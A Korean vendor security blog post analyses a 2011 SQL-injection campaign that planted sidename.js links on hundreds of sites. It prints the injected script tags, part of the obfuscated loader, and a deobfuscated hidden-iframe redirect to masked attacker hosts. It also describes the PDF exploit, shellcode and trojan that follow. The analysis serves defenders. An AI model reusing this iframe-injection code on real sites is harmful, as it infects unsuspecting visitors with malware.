2011.06.29 12:23

웹 공격(SQL Injection)을 통한 악성코드 유포

최근 Armorize라는 보안업체가 블로그에 공개한 내용에 따르면 다수의 사이트들을 대상으로 웹 공격이 발생하여 해킹된 후 악성코드가 유포되는 사례가 발생했다고 한다. 해당 업체의 블로그에는 이번 사례의 기술적인 내용과 해킹되어 악성코드를 유포했던 일부 사이트들이 공개되었다.

• Mass Meshing Injection: sidename.js ongoing:
http://blog.armorize.com/2011/06/mass-meshing-injection-sidenamejs.html

위 주소에 언급된 760개의 사이트들에 대해서 국가, 악성코드 유포, 취약점 등 여러 가지를 분석해 보았다. 참고로 위 주소에 공개된 760개의 사이트들을 참고하여 기반으로 분석 및 작성한 것이므로 실제 내용과는 차이가 있을 수 있다.


국가별 피해 사이트 현황

[그림 1] 국가별 피해 사이트 현황


760개의 사이트들에 대해서 국가별로 분류해본 결과 [그림 1]과 같고 US(미국)에 위치한 사이트들에서 피해가 가장 많이 발생했으며 ETC에 포함된 국가들도 마찬가지로 분류해 보면 아래 [그림 2]와 같다.

[그림 2] ETC에 포함된 국가별 피해 사이트 현황

[그림 2]를 보면 국내 사이트도 해킹되어 악성코드를 유포했던 것으로 확인되지만 해당 사이트 주소는 언급하지 않겠으며 760개 사이트들에 대해서 2011/06/18부터 24시간 동안 모니터링 한 결과 당시 상당 수의 사이트가 여전히 악성코드를 유포 중임을 확인했고 국가별로 분류해 보면 아래 [그림 3]과 같다.

[그림 3] 2011/06/18기준 국가별 피해현황

해당 일에 모니터링 했을 때는 [그림 2]에 포함되었던 국내 사이트는 조치가 되어 유포하지 않은 것으로 확인되었다.
전체적인 상황을 간단하게 요약해 보면 아래 [그림 4]와 같다.

[그림 4] 악성코드 유포의 전체구조

• 침해 사이트 분석
2011/06/18에 모니터링 한 760개 사이트들 중에 악성코드 유포하는 것으로 확인된 274개의 사이트들에는 아래 그림들에서 보는 것처럼 공통적으로 sidename.js라는 자바 스크립트 링크가 삽입되어 있었다.

Case 1:
<script type=""text/javascript"" src=""http://guitar******.com.ua/sidename.js""></script><script type=""text/javascript"" src=""http://chojno.pa*****.pl/counter.js""></script><html>
<head>

Case 2:
<script type=""text/javascript"" src=""http://*****2.ac.th/sidename.js""></script><!DOCTYPE html PUBLIC ""-//W3C//DTD XHTML 1.0 Transitional//EN"" ""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"">

Case 3:
</head><body leftmargin=""0"" topmargin=""0"" marginwidth=""0"" marginheight=""0"" bgcolor=""#7B396A""><script type=""text/javascript"" src=""http://pla****.cp9.vpsi.pl/sidename.js""></script><center><table border=""0"" cellpadding=""0"" cellspacing=""0"">

3개의 Case들에서 봤듯이 sidename.js는 동일하지만 해당 자바 스크립트 파일이 링크된 주소는 고정적이지 않았다. 즉 다수의 URL들이 sidename.js를 위해서 사용되고 있었다는 의미이며, 이를 국가별로 분류를 해보면 아래 그림 [그림 4]와 같다.

[그림 5] sidename.js를 유포하기 위해서 사용된 주소의 국가별 분포

sidename.js는 아래 난독화 된 자바 스크립트 코드가 저장되어 있고 있으며,

ar=") Eh=,ye f(i?5:w8]6.0b<rsuz/;C{lAB1kNt>mTp'gv}a\"2oc[dn";ar2="R4c0c40c-8c-4c8c168c-12c4c-100c56c-128c184c-64c-72c96c-144c120c-140c116c-96c128c-128c184c-64c-52c36c-108c136c24c-12c-28c40c-28c-128c12c128c-84c112c12c-184c144c-168c204c-124c-12c-68c120c-116c0c0c40c-8c56c92c-28c-128c64c-52c //----- 중간생략 -----//

이를 난독화 해제해 보면 다른 URL들이 존재함을 알 수가 있다.

if (document.getElementsByTagName('body')[0]){   iframer();  } else {   document.write("<iframe src='http://zlrk****dnd.co.cc/showthread.php?t=21650812' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");  }  function iframer(){   var f = document.createElement('iframe');f.setAttribute('src','http://zlrk****dnd.co.cc/showthread.php?t=21650812');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');   document.getElementsByTagName('body')[0].appendChild(f);  }

showthread.php?t=21650812에 접속하면 forumthrea.php를 다운로드 하며 [그림 6]처럼 난독화된 코드가 존재한다.

[그림 6] 난독화된 forumthrea.php?tp=292714ca7b8c4510의 코드

[그림 6]에 나와있는 코드를 난독화 해제해 보면 아래 [그림 7]와 같다.

[그림 7] 난독화 해제된 forumthrea.php?tp=292714ca7b8c4510의 코드

브라우저를 통해서 forumthrea.php?tp=292714ca7b8c4510에 접속할 경우 아래 [그림 8 ]처럼  404 Not Found, 미디어 플레이어가 실행되는 것처럼 보이지만 실제로는 취약점이 존재하는 PDF가 다운로드 된 후 실행된다. 참고로 아래 [그림 8]에서 Adobe PDF Reader의 License Agreement창이 뜨는 것은 최초 설치과정에서 발생하는 것으로 보통 동의를 하게 되면 향후에는 뜨지 않는다. 즉 취약점 PDF는 실행되었을 때 사용자가 인지할 수 없도록 백그라운드에서 실행되므로 License Agreement창이 뜨는 것이 아니라는 의미이다.

[그림 8] forumthrea.php?tp=292714ca7b8c4510에 접속 시 증상

forumthrea.php도 sidename.js처럼 다수의 URL에서 다운로드 되도록 되어 있었고 해킹된 274개의 사이트와 연결된 forumthrea.php를 위한 URL은 대부분 루마니아(RU)에 위치한 URL이었으며 해당 URL들의 공통점을 아래와 같다.

http://?????.******tzisko.ru/forumthrea.php?tp=292714ca7b8c4510
http://?????.******yonah.ru/forumthrea.php?tp=292714ca7b8c4510

물음표로 된 곳이 랜덤한 문자열로 구성된 부분이고 그 이하는 고정적으로 사용되는 부분이다.

forumthrea.php?tp=292714ca7b8c4510에 접속 시 다운로드 되는 PDF를 분석해 보면 내부에 난독화된 자바 스크립트 코드가 존재한다.

* CVE-2006-3459 취약점 정보: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-3459

[그림 9] PDF내에 존재하는 자바 스크립트 코드

 
[그림 10] 1차 난독화 해제 후 자바 스크립트 코드

1차 난독화 해제된 자바 스크립트 코드로부터 Shellcode를 얻어보면 아래와 같다.


Shellcode에는 악성 PDF가 실행될 때 파일을 다운로드 하도록 특정 URL이 암호화되어 있는데 복호화 해 보면 아래 [그림 11]과 같다.

[그림 11] 복호화 된 URL

복호화된 URL로부터 다운로드되는 악성코드가 실행될 경우 지속적으로 아래 IP들의 SSL(443)포트로 접속시도를 한다.

174.***.249.***    443
174.***.249.***    443
174.***.197.***    443

V3에서는 관련 악성코드를 아래와 같이 진단하고 있다.

PDF/Exploit(V3, 진단버전:2011.06.23.02)
Win-Trojan/Harebot.35328.K(V3, 진단버전:2011.06.23.02)


출처 : 안철수연구소 ASEC 대응팀 블로그

Trackback 0 Comment 0